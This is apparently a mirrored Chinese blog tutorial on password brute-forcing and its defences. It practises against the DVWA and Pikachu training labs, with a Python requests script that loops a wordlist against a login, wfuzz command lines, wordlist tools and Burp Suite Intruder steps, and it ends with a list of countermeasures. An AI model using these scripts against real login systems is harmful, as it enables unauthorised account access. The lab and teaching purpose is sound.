

密码暴力破解与防御
source link: https://blog.csdn.net/m0_57379855/article/details/123548003
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.

密码安全概述
加密、完整性、身份认证
存储安全、传输安全、输入安全
从数据库获取密码
窃听通信数据
直接从登录框猜测数据
认证:你是谁?
授权:你能做什么?
不安全的密码
000000
123456
空密码
身份证后六位
手机后六位
已经泄漏的密码
密码猜解思路
猜测范围
密码长度
密码内容
APP密码范围
kali字典存放路径
【1】指定格式的字典,比如生日、手机号、QQ号
crunch -h
【2】社工字典
cupp、ccupp
【3】文章内容字典
cewl https://sqlmap.org -w dict.txt
python暴力破解
从字典取其值,生成密码
# -*- coding: utf-8 -*-
# python 3
pwds = open("password.txt")
for pwd in pwds:
print(pwd)
pwds.close()
HTTP连接到需要爆破的地址
# -*- coding: utf-8 -*-
# python 3
import requests
# 如果第一个密码就提示成功,是 PHPSESSID 没有替换的问题
pwds = open("password.txt")
for pwd in pwds:
url = "http://localhost/dvwa/vulnerabilities/brute/"
# PHPSESSID务必替换为登录以后的PHPSESSID
resp = requests.get(url = url, params = {"username":"admin", "password":pwd.strip(), "Login":"Login"}, headers = {"Cookie":"security=low; PHPSESSID=sm7bdfe4r6c03ai9682timdlu1"})
#print(resp.text)
if 'Username and/or password incorrect.' in resp.text:
print('破解失败:'+pwd, end='')
else:
print('破解成功:'+pwd, end='')
break;
pwds.close()

安装requests
获得HTTP响应,分析响应结果,看看有没有错误提示
如果有提示,就继续下一次循环
如果没有,就继续下一次循环
Burp Suite暴力破解
设置好代理
抓包成功
使用intruder模式
选择模式,选择攻击的字段
导入密码字典
开始攻击
攻击完成,单击排序
查看length最长即为密码
Medium
做了一个延迟,影响很小
抓包
设置intruder
Bp其他攻击模式
攻城锤:所有字段都一样
草叉:可以选择两个字段,并分别设置字典
榴霰弹:两个字典可以交叉匹配
Impossible
限制猜解的时间和次数
如何防御暴力破解
【1】 二次验证
【2】限制次数,锁定账户
【3】WAF
【4】IP验证
【5】行为识别,异地登录
【6】强制修改密码
【7】取消密码注册
其他暴力破解工具
wfuzz
piachu
wfuzz -z file,user -z file,pass -d “username=FUZZ&password=FUZ2Z&submit=login” http://192.168.202.139/pikachu/vul/burteforce/bf_form.php
wfuzz -z file,user -z file,pass --hw 1797 -d “username=FUZZ&password=FUZ2Z&submit=login” http://192.168.202.139/pikachu/vul/burteforce/bf_form.php
Hydra
Mudusa
Recommend
About Joyk
Aggregate valuable and interesting links.
Joyk means Joy of geeK